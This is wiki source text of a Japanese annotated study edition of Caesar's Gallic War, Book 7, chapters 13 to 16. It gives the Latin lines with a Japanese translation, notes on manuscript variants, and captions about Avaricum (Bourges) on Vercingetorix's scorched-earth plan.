*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Eorum [[wikt:en:impetus#Latin|impetum]] [[wikt:en:Galli#Latin|Galli]] [[wikt:en:sustineo#Latin|sustinere]] non [[wikt:en:potuerunt|potuerunt]] 
**彼ら&lt;small&gt;〔ゲルマーニア人騎兵〕&lt;/small&gt;の突撃に&lt;small&gt;（敵側の）&lt;/small&gt;ガッリア人たちは持ちこたえることができず、
*atque in fugam [[wikt:en:coniectus#Participle|coniecti]] 
**敗走に追いやられて、
*multis [[wikt:en:amissus#Latin|amissis]] 
**大勢の者を失い、
*se ad [[wikt:en:agmen#Latin|agmen]] [[wikt:en:receperunt|receperunt]]. 
**&lt;small&gt;（後方にいたウェルキンゲトリークスの）&lt;/small&gt;隊列に退却した。
:　
;　　　城塞都市ノウィオドゥーヌムがカエサルの軍門に降る
*Quibus [[wikt:en:profligatus#Latin|profligatis]], 
**彼ら&lt;small&gt;〔ウェルキンゲトリークスの騎兵隊〕&lt;/small&gt;が制圧されると、
*rursus [[wikt:en:oppidanus#Noun|oppidani]] [[wikt:en:perterritus#Latin|perterriti]] 
**[[w:オッピドゥム|城塞都市]]&lt;small&gt;〔ノウィオドゥーヌム〕&lt;/small&gt;の者たちは再び怖れをなして、
*[[wikt:en:comprehensus#Latin|comprehensos]] eos, quorum [[wikt:en:opera#Latin|opera]] [[wikt:en:plebs#Latin|plebem]] [[wikt:en:concitatus#Latin|concitatam]] [[wikt:en:existimabant|existimabant]], 
**その働きかけによって民衆を扇動したと&lt;small&gt;（城塞の民が）&lt;/small&gt;考えていたところの者たちを拘束して、
*ad Caesarem [[wikt:en:perduxerunt|perduxerunt]] 
**カエサルのもとへ連行して、
*seseque ei [[wikt:en:dediderunt|dediderunt]]. 
**自分たちも彼&lt;small&gt;〔カエサル〕&lt;/small&gt;に降伏した。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　カエサルが、ビトゥリゲース族の城塞都市アウァーリクムを目指す
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Quibus rebus [[wikt:en:confectus#Latin|confectis]], 
**それらの事が成し遂げられると、
*Caesar ad oppidum [[wikt:en:Avaricum#Latin|Avaricum]], 
**カエサルは、[[w:オッピドゥム|城塞都市]]アウァーリクムへ、
*quod erat [[wikt:en:maximus#Latin|maximum]] [[wikt:en:munitissimus#Latin|munitissimum]]&lt;nowiki&gt;que&lt;/nowiki&gt; in finibus [[wikt:en:Bituriges#Latin|Biturigum]] atque [[wikt:en:ager#Latin|agri]] [[wikt:en:fertilissimus#Latin|fertilissima]] [[wikt:en:regio#Latin|regione]], 
**──それはビトゥリゲース族の領土で耕地の最も肥沃な地方にあり、最大かつ最も要塞化されていたが、──
*[[wikt:en:profectus#Etymology_3|profectus]] est, 
**&lt;small&gt;（そこへ）&lt;/small&gt;出発した。
*quod eo oppido [[wikt:en:receptus#Latin|recepto]] 
**──というのは、その城塞都市を獲得することで、
*[[wikt:en:civitas#Latin|civitatem]] [[wikt:en:Bituriges#Latin|Biturigum]] se in [[wikt:en:potestas#Latin|potestatem]] [[wikt:en:redacturus#Latin|redacturum]] [[wikt:en:confidebat|confidebat]].
**ビトゥリゲースの部族国家を&lt;small&gt;（カエサルの）&lt;/small&gt;隷下に引き戻すであろうと、確信していたからである──。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

==アウァーリクム攻略戦==
===14節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/14節]]　{{進捗|00%|2026-03-08}}&lt;/span&gt;
;ウェルキンゲトリークスが兵站妨害と焦土戦術を決断
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]] tot [[wikt:en:continuus#Latin|continuis]] [[wikt:en:incommodum#Latin|incommodis]] [[wikt:en:Vellaunodunum#Latin|Vellaunoduni]], [[wikt:en:Genabum#Latin|Cenabi]], [[wikt:en:Noviodunum#Latin|Novioduni]] [[wikt:en:acceptus#Latin|acceptis]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、ウェッラウノドゥーヌム、ケナブム、ノウィオドゥーヌムと、このような多くの引き続く敗北をこうむると、
*suos ad [[wikt:en:concilium#Latin|concilium]] [[wikt:en:convocat#Latin|convocat]]. 
**麾下の者たちを会合へ召集する。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　ウェルキンゲトリークスが、ローマ勢の糧道を断つことを提言
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:docet|Docet]] longe alia ratione esse bellum [[wikt:en:gerendus#Latin|gerendum]] atque antea [[wikt:en:gestus#Participle|gestum]] sit. 
**以前に遂行されていたのとはまったく別の作戦で戦争が遂行されるべきである、と説く。
*Omnibus [[wikt:en:modus#Latin|modis]] huic rei studendum, ut [[wikt:en:pabulatio#Latin|pabulatione]] et [[wikt:en:commeatus#Noun|commeatu]] Romani [[wikt:en:prohibeantur|prohibeantur]]. 
**ローマ人たちが[[w:糧秣|糧秣]]徴発と物資輸送を妨げられるべく、この事をあらゆる方法で追求するべきだ。

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Id esse facile, 
**そのことは、容易である。
*quod [[wikt:en:equitatus#Latin|equitatu]] ipsi [[wikt:en:abundent#Latin|abundent]] 
**というのは&lt;small&gt;（我々ガッリア勢）&lt;/small&gt;自身は[[w:騎兵|騎兵隊]]がたくさんおり、
*et quod anni tempore [[wikt:en:subleventur|subleventur]]. 
**&lt;small&gt;（冬という）&lt;/small&gt;時季に支えられているのだから。
:　
;　　　ローマ人が穀物倉に群がるところを騎兵で襲撃するべし
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:pabulum#Latin|Pabulum]] [[wikt:en:secari|secari]] non posse; 
**&lt;small&gt;（この時季には）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:秣|秣]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;まぐさ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; は刈り取られることができない。
*[[wikt:en:necessario#Adverb|necessario]] [[wikt:en:dispersus#Latin|dispersos]] hostes ex [[wikt:en:aedificium#Latin|aedificiis]] [[wikt:en:petere|petere]]; 
**敵たち&lt;small&gt;〔ローマ勢〕&lt;/small&gt;はやむなく分散して、家屋から&lt;small&gt;（糧秣を）&lt;/small&gt;求める。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ほとんどの会話が間接話法を採る本書で、&lt;br&gt;　　　　ローマ勢が「敵」hostes と表現されることは極めてまれである。）&lt;/span&gt;
*hos omnes [[wikt:en:cotidie#Latin|cotidie]] ab [[wikt:en:eques#Latin|equitibus]] &lt;u&gt;deleri&lt;/u&gt; posse. 
**これら皆を日々に&lt;small&gt;（ガッリア側の）&lt;/small&gt;騎兵隊によって壊滅させることができる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では [[wikt:en:deleri|deleri]]「滅ぼされる」だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では [[wikt:en:diligi#Latin|diligi]]「分断される」となっている。）&lt;/span&gt;
:　
;　　　焦土戦術をもって、ローマ人と軍馬を飢えさせるべし
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Praeterea [[wikt:en:salus#Latin|salutis]] causa rei [[wikt:en:familiaris#Adjective|familiaris]] [[wikt:en:commodum#Latin|commoda]] [[wikt:en:neglegendus#Latin|neglegenda]]; 
**さらに&lt;small&gt;（同盟諸部族に共通の）&lt;/small&gt;安全のために、私有資産の利益はなおざりにされるべきだ。
*[[wikt:en:vicus#Latin|vicos]] atque [[wikt:en:aedificium#Latin|aedificia]] [[wikt:en:incendi#Verb_2|incendi]] [[wikt:en:oportet#Latin|oportere]] 
**&lt;small&gt;（以下のような領域の）&lt;/small&gt;村々や建物は焼かれるべきだ。
*hoc spatio ab Boia quoque versus, quo [[wikt:en:pabulandi#Verb|pabulandi]] causa [[wikt:en:adire#Latin|adire]] posse [[wikt:en:videantur|videantur]]. 
**[[w:ボイイ族|ボイイー族]]のところから四方八方へ糧秣徴発するために赴くことができると思われる領域では。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：主要写本&amp;omega; にある ab Boia「ボイイー族のところから」は、&lt;br&gt;　　　　現代では「街道から」ab via と修正読みされることが多い。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:quoque#Latin|quōque]] [[wikt:en:versus#Adverb|versus]] ＝ [[wikt:en:quisque#Latin|quōquō]] versus「あらゆる方向へ」）&lt;/span&gt;
[[画像:Eglise_saint_parize_le_chatel.jpg|thumb|right|250px|ボイイ族（Boii）の領内であったと思われる現在のサン＝パリーズ＝ル＝シャテルの教会。ボイイー族の首邑ゴルゴビナは、[[w:ニエーヴル県|ニエーヴル県]]のサン＝パリーズ＝ル＝シャテル（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）あるいは[[w:シェール県|シェール県]]のラ・ゲルシュ＝スュル＝ローボワ（[[w:en:La Guerche-sur-l'Aubois|La Guerche-sur-l'Aubois]]）の近辺にあったと推定されている。]]
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Harum ipsis rerum copiam [[wikt:en:suppeto#Latin|suppetere]], 
**&lt;small&gt;（ガッリア勢）&lt;/small&gt;自身には、これらの物は、豊富に貯えてある。
*quod quorum in finibus bellum [[wikt:en:geratur|geratur]], eorum [[wikt:en:ops#Noun_4|opibus]] [[wikt:en:subleventur|subleventur]]; 
**──というのは、戦争が遂行される領土内の者たちの、彼らの助力に支えられているからだ。──
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; Romanos &lt;u&gt;aut&lt;/u&gt; [[wikt:en:inopia#Latin|inopiam]] non [[wikt:en:laturus#Latin|laturos]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;
**ローマ人たちは、あるいは&lt;small&gt;（糧食の）&lt;/small&gt;欠乏に耐えられないであろうし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:aut#Latin|aut]] ～ aut …「あるいは～あるいは…」）&lt;/span&gt;
*&lt;u&gt;aut&lt;/u&gt; magno &lt;u&gt;cum&lt;/u&gt; periculo longius &lt;u&gt;ab&lt;/u&gt; castris [[wikt:en:processurus#Latin|processuros]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt;; 
**あるいは大きな危険とともに陣営からより遠くに進み出るであろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：cum は、&amp;rho;系写本・写本Tの記述で、&lt;br&gt;　　　　　　　　&amp;alpha;系写本・写本Vにはない。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab は、&amp;alpha;系・&amp;rho;系写本・写本Vの記述で、写本Tでは a となっている。）&lt;/span&gt;
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; neque [[wikt:en:interesse#Latin|interesse]], ipsos&lt;u&gt;ne&lt;/u&gt; [[wikt:en:interficiant|interficiant]], [[wikt:en:impedimentum#Latin|impedimentis]]&lt;u&gt;&lt;nowiki&gt;ne&lt;/nowiki&gt;&lt;/u&gt; [[wikt:en:exuant|exuant]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;当人たちを殺戮するか、輜重を奪い取るか、&lt;small&gt;（どちらであろうが）&lt;/small&gt;違いはない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:-ne#Latin|-ne]] は疑問小辞。～ -ne, … -ne 「～か、…か」）&lt;/span&gt;
*quibus [[wikt:en:amissus#Latin|amissis]] bellum [[wikt:en:geri#Latin|geri]] non [[wikt:en:possit|possit]]. 
**それら&lt;small&gt;〔輜重〕&lt;/small&gt;を失えば、戦争を遂行することができないのだから。
:　
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; Praeterea oppida [[wikt:en:incendi#Verb_2|incendi]] [[wikt:en:oportet#Latin|oportere]], 
**さらに、&lt;small&gt;（以下のような）&lt;/small&gt;[[w:オッピドゥム|城塞都市]]は焼かれなければならない。
*quae non [[wikt:en:munitio#Latin|munitione]] et loci natura &lt;u&gt;ab omni&lt;/u&gt; sint &lt;u&gt;periculo&lt;/u&gt; [[wikt:en:tutus#Latin|tuta]], 
**防塁や地勢によってあらゆる危険から守られていない&lt;small&gt;（城塞都市は）&lt;/small&gt;。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab [[wikt:en:omni#Latin|omni]] [[wikt:en:periculum#Latin|periculo]] 「あらゆる危険から」）&lt;/span&gt;
*&lt;u&gt;neu&lt;/u&gt; suis sint ad &lt;u&gt;detrectandam&lt;/u&gt; [[wikt:en:militia#Latin|militiam]] [[wikt:en:receptaculum#Latin|receptacula]] 
**麾下の者たちにとっては&lt;small&gt;（城塞都市が）&lt;/small&gt;[[w:兵役逃れ|兵役を忌避すること]]のための隠れ場所になることがないように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:neu#Latin|neu]] は &amp;alpha;系写本の記述で、&amp;beta;系写本では [[wikt:en:ne#Latin|ne]] となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:detrectandam|detrectandam]] は &amp;alpha;系・&amp;rho;系写本の表記で、&amp;pi;系写本では [[wikt:en:detractandam|detractandam]] となっている。）&lt;/span&gt;
*neu [[wikt:en:Romani#Latin|Romanis]] [[wikt:en:propositus#Latin|proposita]] ad [[wikt:en:copia#Latin|copiam]] [[wikt:en:commeatus#Noun|commeatus]] [[wikt:en:praeda#Latin|praedam]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:tollendus#Latin|tollendam]], 
**ローマ人たちにとって&lt;small&gt;（城塞都市が）&lt;/small&gt;豊富な物資や戦利品を奪うための置き場所ともならないように。
:　
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Haec si [[wikt:en:gravis#Latin|gravia]] aut [[wikt:en:acerbus#Latin|acerba]] [[wikt:en:videantur|videantur]], 
**もし、これら&lt;small&gt;（の作戦）&lt;/small&gt;が厳しい、または苦しいと見えるとしても、
*multo illa [[wikt:en:graviter#Latin|gravius]] &lt;u&gt;aestimare&lt;/u&gt;, [[wikt:en:liber#Noun_6|liberos]], [[wikt:en:coniunx#Latin|coniuges]] in [[wikt:en:servitus#Latin|servitutem]] [[wikt:en:abstrahi|abstrahi]], ipsos [[wikt:en:interfici|interfici]]; 
**それより、子供や配偶者たちが奴隷状態で連れ去られ、自身が殺されることの方が、はるかに厳しいと判断されるべきだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:aestimare|aestimare]] だが、 &lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:aestimari|aestimari]] [[wikt:en:debere|debere]] となっている。）&lt;/span&gt;
*quae sit [[wikt:en:necesse#Latin|necesse]] [[wikt:en:accido#Etymology_1|accidere]] [[wikt:en:victus#Participle|victis]].
**それらのことは、打ち負かされた者たちには、起こることが必然なのである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===15節===
[[画像:Bourges_-_002_-_Low_Res.jpg|thumb|right|300px|'''アウァーリクム'''（Avaricum）すなわちビトゥリゲース族（Bituriges）の名を残すともいわれる現在の[[w:ブールジュ|ブールジュ]]（Bourges）の[[w:サン＝テチエンヌ大聖堂 (ブールジュ)|サン＝テティエンヌ大聖堂]]（[[w:世界遺産|世界遺産]]）。この街はガッリア時代からこの地方の中心的な城塞都市であり、現代ではそれほど大都会ではないが、世界遺産の大聖堂や音楽祭などで広く知られている。]]
[[画像:Bourges.JPG|thumb|right|300px|アウァーリクムすなわち[[w:ブールジュ|ブールジュ]]の大聖堂から眺めた街並み。'''ビトゥリゲース族'''はかつてはイタリア北部に移住したこともある強大な部族で、この当時はブルディガラ（Burdigala：現在の[[w:ボルドー|ボルドー]]）周辺にいたビトゥリゲース・ウィウィスキ族（Bituriges Vivisci）およびアウァーリクム周辺にいた'''ビトゥリゲース・クビ族'''（Bituriges Cubi）の二派に分かれていた。『ガリア戦記』に登場するのはビトゥリゲース・クビ族の方である。]]
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/15節]]　{{進捗|00%|2026-03-08}}&lt;/span&gt;

;焦土戦術開始、しかしアウァーリクムの防衛を決定
:　
;　　　焦土戦術として、ビトゥリゲース族の街々が焼かれる
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Omnium [[wikt:en:consensus#Latin|consensu]] 
**&lt;small&gt;（会合の参加者）&lt;/small&gt;全員の合意により
*hac [[wikt:en:sententia#Latin|sententia]] [[wikt:en:probatus#Latin|probata]], 
**&lt;small&gt;（ウェルキンゲトリークスの）&lt;/small&gt;この意向が承認されると、
*uno die [[wikt:en:amplius|amplius]] [[wikt:en:viginti|viginti]]&lt;sub&gt; (XX)&lt;/sub&gt; [[wikt:en:urbs#Latin|urbes]] [[wikt:en:Bituriges#Latin|Biturigum]] [[wikt:en:incenduntur|incenduntur]]. 
**一日で、20より多いビトゥリゲース族の街々が焼かれる。
:　
;　　　ほかの諸部族の街々も焼かれる
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Hoc idem fit in reliquis [[wikt:en:civitas#Latin|civitatibus]]: 
**これと同じことが、ほかの諸部族でも行なわれて、
*in omnibus partibus 
**あらゆる方面において、
*[[wikt:en:incendium#Latin|incendia]] [[wikt:en:conspiciuntur|conspiciuntur]]; 
**炎上が望見される。
*quae &lt;u&gt;etsi&lt;/u&gt; magno cum [[wikt:en:dolor#Latin|dolore]] omnes [[wikt:en:ferebant|ferebant]], 
**それらの皆が大きな悲嘆とともに耐えていたとしても、
*&lt;u&gt;tamen&lt;/u&gt; hoc sibi [[wikt:en:solacium#Latin|solacii]] [[wikt:en:proponebant|proponebant]], 
**しかし、自分らにとっての&lt;small&gt;（以下の）&lt;/small&gt;慰めを抱いていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～ [[wikt:en:tamen#Latin|tamen]] …&lt;br&gt;　　　　「～としても、にもかかわらず…」）&lt;/span&gt;
*quod se prope [[wikt:en:exploratus#Latin|explorata]] [[wikt:en:victoria#Latin|victoria]] 
**勝利はほぼ確実なものとされて、
*celeriter [[wikt:en:amissus#Latin|amissa]] [[wikt:en:reciperaturus#Latin|reciperaturos]] &lt;span style=&quot;color:#009900;&quot;&gt;(esse)&lt;/span&gt; 
**失ったものを速やかに回復するであろう、
*[[wikt:en:confidebant|confidebant]]. 
**と確信していたことである。
:　
;　　　アウァーリクムは、焦土戦術か、それとも防衛すべきか？
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:deliberatur|Deliberatur]] de [[wikt:en:Avaricum#Latin|Avarico]] in [[wikt:en:communis#Latin|communi]] [[wikt:en:concilium#Latin|concilio]], [[wikt:en:incendi#Latin|incendi]] &lt;u&gt;placeret&lt;/u&gt; an [[wikt:en:defendi#Latin|defendi]]. 
**合同の会合において、アウァーリクムについて (も) 焼き討ちが良いか、あるいは防衛か、が吟味される。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:placeret|placeret]]&lt;sub&gt; (接続法･未完了過去)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:placeat|placeat]]&lt;sub&gt; (接続法･現在)&lt;/sub&gt; となっている。）&lt;/span&gt;
:　
;　　　ビトゥリゲース族が、要害であるアウァーリクムの防衛を懇願する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:procumbunt|Procumbunt]] omnibus Gallis ad pedes [[wikt:en:Bituriges#Latin|Bituriges]], 
**&lt;small&gt;（会合に参加していた）&lt;/small&gt;すべてのガッリア人の足元へ、ビトゥリゲース族の者たちはひれ伏す。
*ne [[wikt:en:pulcherrimus#Latin|pulcherrimam]] prope &lt;u&gt;[[wikt:en:totus#Latin|totius]] Galliae&lt;/u&gt; [[wikt:en:urbs#Latin|urbem]], quae &lt;u&gt;et&lt;/u&gt; [[wikt:en:praesidium#Latin|praesidio]] et [[wikt:en:ornamentum#Latin|ornamento]] sit [[wikt:en:civitas#Latin|civitati]], 
**ほぼ全ガッリアの街々で最も美しいもの、部族にとっては要害でも誉れでもあるものを、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：totius Galliae は &amp;alpha;系写本の語順で、&amp;beta;系写本では Galliae totius となっている。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et は &amp;beta;系写本にはあるが、&amp;alpha;系写本にはない。）&lt;/span&gt;
*suis manibus [[wikt:en:succendo#Latin|succendere]] [[wikt:en:cogerentur|cogerentur]]; 
**自分たちの手で燃やすことを強いられないように、と（懇願した）。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne ～ cogerentur；～を強いられないように）&lt;/span&gt;
:　
;　　　アウァーリクムの地の利
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; facile se loci natura [[wikt:en:defensurus#Latin|defensuros]] [[wikt:en:dicunt|dicunt]], 
**自分たちは&lt;small&gt;（アウァーリクムを）&lt;/small&gt;地勢によって容易に防衛するだろう、と述べる。
*quod prope ex omnibus partibus [[wikt:en:flumen#Latin|flumine]] et [[wikt:en:palus#Latin|palude]] [[wikt:en:circumdatus#Latin|circumdata]] 
**というのは&lt;small&gt;（アウァーリクムは）&lt;/small&gt;ほぼあらゆる方向から川や沼地で囲まれており、
*unum habeat et [[wikt:en:perangustus#Latin|perangustum]] [[wikt:en:aditus#Latin|aditum]]. 
**一つだけ、非常に狭い進入路を持っているからだ。
[[画像:Bourges_2.JPG|thumb|right|300px|アウァーリクムすなわち[[w:ブールジュ|ブールジュ]]の大聖堂から眺めた沼地。イェーヴル川（[[w:fr:Yèvre (Cher)|fr:Yèvre]]）と沼地は、カエサルが書いたようにガッリア時代からこの街を囲んでいる。]]
:　
;　　　アウァーリクムの防衛が認められる
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; [[wikt:en:datur#Latin|Datur]] [[wikt:en:petens#Latin|petentibus]] [[wikt:en:venia#Latin|venia]] 
**&lt;small&gt;（アウァーリクムの防衛を）&lt;/small&gt;求める者たちに許可が与えられる。
*[[wikt:en:dissuadens#Latin|dissuadente]] primo [[wikt:en:Vercingetorix#Latin|Vercingetorige]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は当初は思い止まらせていたが、
*post [[wikt:en:concedens#Latin|concedente]] et [[wikt:en:prex#Latin|precibus]] ipsorum et [[wikt:en:misericordia#Latin|misericordia]] [[wikt:en:vulgus#Latin|vulgi]]. 
**後には、彼ら当人の懇願にも、民衆への哀れみにも、譲歩した。
*[[wikt:en:defensor#Latin|Defensores]] [[wikt:en:oppidum#Latin|oppido]] [[wikt:en:idoneus#Latin|idonei]] [[wikt:en:deliguntur|deliguntur]].
**城塞都市の適切な防衛者たちが選ばれる。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===16節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/16節]]　{{進捗|00%|2026-03-22}}&lt;/span&gt;
;アウァーリクムをめぐる両軍の駆け引き
:　
;　　　ウェルキンゲトリークスが、アウァーリクムから16マイル離れたところに宿営する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]] [[wikt:en:minor#Latin|minoribus]] Caesarem [[wikt:en:iter#Latin|itineribus]] [[wikt:en:subsequitur|subsequitur]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、カエサルを緩やかな行軍で追尾して、
*et locum [[wikt:en:castra#Latin|castris]] [[wikt:en:eligit#Latin|deligit]] [[wikt:en:palus#Latin|paludibus]] [[wikt:en:silva#Latin|silvis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:munitus#Latin|munitum]] 
**沼地や森林で防御された地点を陣営のために選んだ。
*ab [[wikt:en:Avaricum#Latin|Avarico]] longe milia passuum [[wikt:en:sedecim#Latin|sedecim]]&lt;sub&gt; (XVI)&lt;/sub&gt;. 
**アウァーリクムから16&lt;u&gt;ローママイル&lt;/u&gt;隔たっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ミーッレ・パッスーム、ミーリア（ローママイル）|ローママイル]]は約1.48 kmで、16マイルは約24 km）&lt;/span&gt;
:　
;　　　ウェルキンゲトリークスが、斥候を放ってアウァーリクムを探り、部下たちに指図する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Ibi per [[wikt:en:certus#Latin|certos]] [[wikt:en:explorator#Latin|exploratores]] 
**そこで、一定の斥候たちを通して、
*in [[wikt:en:singulus#Latin|singula]] diei tempora, quae ad [[wikt:en:Avaricum#Latin|Avaricum]] &lt;u&gt;agerentur&lt;/u&gt;, [[wikt:en:cognoscebat|cognoscebat]] 
**日中の毎時、アウァーリクム近傍で行なわれていることを探知して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:agerentur|agerentur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:gererentur|gererentur]] となっている。）&lt;/span&gt;
*et, [[wikt:en:quis#Latin|quid]] [[wikt:en:fieri#Latin|fieri]] [[wikt:en:vellet#Latin|vellet]], [[wikt:en:imperabat|imperabat]]. 
**&lt;small&gt;（彼自身が）&lt;/small&gt;なされることを欲していることを&lt;small&gt;（麾下の者たちに）&lt;/small&gt;命令していた。
:　
;　　　ウェルキンゲトリークスとローマ勢の糧秣調達をめぐる攻防
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Omnes nostras [[wikt:en:pabulatio#Latin|pabulationes]] [[wikt:en:frumentatio#Latin|frumentationes]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:observabat|observabat]] 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の[[w:糧秣|秣や糧食]]の徴発の一部始終を注視していて、
*[[wikt:en:dispersus#Latin|dispersos]]&lt;nowiki&gt;que&lt;/nowiki&gt;, cum longius necessario [[wikt:en:procederent|procederent]], [[wikt:en:adoriebatur|adoriebatur]] 
**&lt;small&gt;（ローマ勢が）&lt;/small&gt;分散して、やむを得ずにはるか遠くに進み出たときに、&lt;small&gt;（ガッリア勢が）&lt;/small&gt;襲いかかって、
*[[wikt:en:magnus#Latin|magno]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:incommodum#Latin|incommodo]] [[wikt:en:adficiebat|adficiebat]], 
**&lt;small&gt;（ローマ勢に）&lt;/small&gt;大きな損害を与えていた。
*[[wikt:en:etsi#Latin|etsi]], quantum [[wikt:en:ratio#Latin|ratione]] [[wikt:en:provideri|provideri]] [[wikt:en:poterat|poterat]], ab nostris [[wikt:en:occurrebatur|occurrebatur]], 
**とはいえ、できるかぎり用心する判断により&lt;small&gt;（敵の襲撃を）&lt;/small&gt;我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;によって阻止していた。
*ut [[wikt:en:incertus#Latin|incertis]] temporibus [[wikt:en:diversus#Latin|diversis]]&lt;nowiki&gt;que&lt;/nowiki&gt; itineribus [[wikt:en:iretur|iretur]].
**不確定な時間帯にまったく別々の道を行き来するというように。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===17節===
